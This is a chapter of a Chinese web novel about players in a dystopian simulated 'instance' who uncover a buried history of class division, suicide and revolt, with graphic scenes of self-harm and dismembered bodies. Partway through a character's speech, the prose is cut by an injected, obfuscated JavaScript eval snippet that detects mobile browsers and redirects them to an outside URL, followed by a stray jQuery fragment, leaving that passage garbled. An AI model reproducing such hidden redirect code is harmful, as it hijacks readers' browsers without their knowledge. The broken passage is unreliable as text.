如同献祭一般，李将星把心中所有隐藏至深处的话都剖出了。


    ——呈在桑衣的面前。


    她原先盈着亮的眸子只剩下星星点点的破碎的光，嘴角挂着轻松的笑。


    “桑衣，下次遇到危险的时候，可以先把我推出去。”


    “……”


    桑衣的右手又开始剧烈地疼了，这次突破了那层若有若无的隔膜，鲜血淋漓地朝她扑来。


    【桑衣，再来到这里的时候，直接把花折断吧。】


    在她面前引颈自刎的女孩曾这样笑着，跟她如此说着。


    桑衣终于看见那道暖色的光了，打在她身上的时候却冰冷刺骨。


    原本一片空白的空间逐渐被点染出颜色，桑衣的眼前出现了李将星口中所描述的那个场景。


    布艺柔软的沙发，木制的家具，房间的角落放着一个被蕾丝花布盖着的老旧电视机，机顶上放着一个花瓶，瓶中盛着几朵闪着新鲜水光的绽放的白花。


    桑衣往后望去，身后是一扇巨大的落地窗，被厚重的床帘所掩埋，只露出绿意的一角。


    在她转身的同时，李将星也僵住了身子，她的耳边响起了那道熟悉的声音。


    ——蝉鸣。


    中心三区永不消逝、永不停滞的蝉鸣声。


    【玩家桑衣，您的扮演值已下降至90点。】


    “帮帮我。”


    一道轻轻的呼唤在两个人耳畔同时响起。


    桑衣低下头，发现了已然蔓延至脚底的黑红色血液。


    血液浸入了地板。


    两人转过头，撞上一双无神黯淡的眸子。


    女人口中不断溢着鲜血，她手中拿着一把刀，腹部全是她亲手捅出的一道道伤口。


    女人想继续说话，但口中不停溢出的血沫阻碍了她的开口，她只好用那双痛苦的眼睛望着两人。


    断断续续的、女人艰难地说道:


    “我想…死……死…不了……为什么？”


    “我…想…死…”


    “我想死。”


    李将星手中的记事本掉落在了地上，窗外传来一阵播报的声音。


    这声音越来越大，逐渐覆盖了蝉鸣声。


    李将星无意识地，想要拉开那窗帘。


    厚重的窗帘被拉开了，窗外明亮的阳光倾落在屋内，盖过了那暖黄的灯光。


    大片大片的、茂密的树木，柱状的高楼相伴而生，天边缓缓运行的巨物一角散发着炽热的光芒。


    硕大的屏幕，纷飞的无人机，在此刻播报着同一件事情。


    “亲爱的居民们，今天是新历66年4月28日，新世界中心生态区天气状况良好，居民幸福度稳步提升。”


    “我司颁布的《拟重生计划》已顺利开展一段时日，效果显著。”


    “世界延续，崭新未来，新世界的一切由您亲手创造。”


    桑衣听见了自己加重的呼吸声，她用左手握住了颤抖着的另一只手，角落里的电视机幽幽地发着光，门外传来了重重的击打声。


    被血浸透的地板上，一个穿着白色花边连衣裙的身影突然出现了。


    “白枝。”桑衣脱口而出。


    两道视线朝同时看了过来。


    流血的女人，穿着白色花边裙的女孩，在同一刻看向了桑衣。


    女孩一身白裙，眸中闪耀着金光，她扯开了唇，笑着说道:


    “是桑衣啊，好久不见了。”


    电视机发出滋滋的电流声，雪花点的屏幕中出现了模糊的色块：


    “专家建议市民们一定要注意个人卫生，维护社区和谐。”


    “据市民举报，本社区内有一住户，因个人卫生极其脏乱差，被街坊所嫌弃，导致其横死家中七日才被发现。可见，个人卫生健康是多么的重要。”


    女孩继续说道:“桑衣，我想起来了。”


    “我已经死去，很久很久了。”


    ……


    花园小区，市民活动中心。


    人群停止了歌唱。


    一道异样的声响中止了歌唱——是异物摩擦地面的声音。


    那是两道脊背弯曲的身影，拖着两个巨大的黑色塑料袋，一步一步地挪到了人群的中央。


    静默中，两道身影站在了人群的中心，头发花白，面容布满皱纹，神色疲倦，眼神却格外坚定。


    年迈的女人环视了一圈，冷冷地说道:


    “傻子。”


    “一群傻子。”


    刘可容拎起了手中的黑色塑料袋，将其中的尸块倾倒而下。


    一旁的王问寻一声不吭站在一旁，像一道沉默的影子。


    尸块混着污血散落在地上，空气在一瞬间凝滞了。


    【检测到剧情发展，场景已更新。】


    隐藏在人群中的将禾突然抓住了文至觉的手臂，示意他朝周围看。


    文至觉一顿，瞳孔地震。


    【当前主线任务:《找到老陈的死因》进度已进展至65％】


    只见周围老旧低矮的楼房逐渐褪去，好像被人扯下了那层伪装的皮，天空中，一个标志性的巨物显出了一角。


    耸立直插入云的高楼，茂密的树，暗沉的云层中，有微弱的光芒在闪耀。


    文至觉:“那是——中心三区的人造太阳？！”


    雨丝纷纷，滋长着黑暗中沉默生长的绿意。


    文至觉皱紧了眉头，开口对将禾道:


    “副本不可能一比一模拟现实世界建造，这个副本里恐怕藏着上层所要掩埋的秘密。”


    “将禾，我们现在需要杀掉重要npc，强制脱离副本。”


    将禾摩挲着刀柄，她的目光放在站在中心的那两个年迈的女人身上，没有动作。


    “我们不能知道更多的信息了，知道太多，你们都活不了。”


    文至觉的语气变得分外急迫。


    “你们”？


    将禾眯了眯眼睛，反握住匕首，双手环胸，“看来你的身份很特殊？”


    ……


    人群的中心，刘可容沉下了声音:


    “我今年122岁了，101年前，我从那场末日中获救，来到了这里。”


    “这个世界给不同的人分类，排等级。可是分类就是权力的分割，我所能拥有的一切，我的自我，我的贡献，我的权力都被吝啬地划分为一个虚拟的资源点单位。”


    “排在上等的人沾沾自喜，排在下等的人接受命运，你们以为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466188|184575||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这种畸形的社会形态就是自然的选择了，对吗？”


    刘可容咬紧了牙，声音变得尖锐，拉扯着声带，蕴含着积攒已久的愤怒:


    “无知的蝼蚁！你以为你在享受地位在你之下之人的血肉？愚蠢至极。你在吞食自己的血肉！你在饮自己的血，每分每秒你都在逐渐腐烂！”


    “新世界？人类通过地外探索的新家园？都是狗屁！”


    “都是假的！全部都是假的！孩子是假的，未来也是假的！”


    【当前主线任务:《找到老陈的死因》进度已进展至70％】


    人群中，文至觉紧抿着唇，“你应该杀了她的。”


    将禾阖下了眼，她拍了拍身旁文至觉的肩膀，耸了耸肩，说道:“来不及，讲完了。”


    文至觉捂住了脸，神情无奈，“真是……”


    不远处的天空中，低空机械的嗡鸣声传来，数道红色射线将中心的刘可容和王问寻包围。


    武装着机甲外壳的机器人上前，押住了两人。


    两人的头发散落，凌乱发丝之下，是两张容貌年轻的脸，与先前老态的样子截然不同。


    至此，整个副本的真实面貌，终于展现在两人面前。


    文至觉叹了口气。


    新世界正史记载，人们通过一轮轮的科技技术突破，掌握了宇宙探索的能力，只有少部分人留在了母星，绝大多数人跟随着地外探索的飞船，来到了宜居的新星球。


    可依据这个副本所展现的真相一角来看，正史所记载的过去未免也粉饰得过于清白。


    末日，起义，自杀事件。


    无一不揭示了这丑恶的现实。


    在他看来，那少部分留在母星的人类并非自愿，而且被抛弃了。


    文至觉摸着下巴，端详着那两张脸，说道:“原来如此，现在是新历101年，72年前。”


    将禾睨了他一眼。


    文至觉:“如果我没猜错的话，这个副本的核心应该是围绕着某段记忆展开的，‘花园小区’自始至终都是以现实世界为蓝本，不断扭曲异化而成的。”


    将禾思及，说道:“新世界中，自然衰老不会改变容貌，人们会一直保持着年轻的样子。”


    “但是这个副本里的老人都有着老态的容貌。”


    将禾总结：“这段记忆的主人是旧世界出生的人。”


    文至觉:“准确来说，是从旧世界逃亡至新世界的人。”


    将禾点点头，“只要找到这个人，杀掉ta，副本就会结束。”


    文至觉:“……咱就不能好好完成主线任务？”


    将禾盯着文至觉的眼睛，有些疑惑，“完成任务，500点；杀掉核心npc，50000点。”


    文至觉无话可说，看向那被扣押住的两人，说道:“你说，记忆的主人看到这一幕时，会想什么呢？”


    将禾没有说话。


    文至觉收回了目光，“她们是被逼死的。”


    “分类带来差异，有差异就有矛盾。掌控权力的那一方轻轻举出一根手指，就能把另一方碾成粉末。”


    无论是70多年前，还是现在，都一样的。


    “而现在我们做的，就是找到记忆的主人。”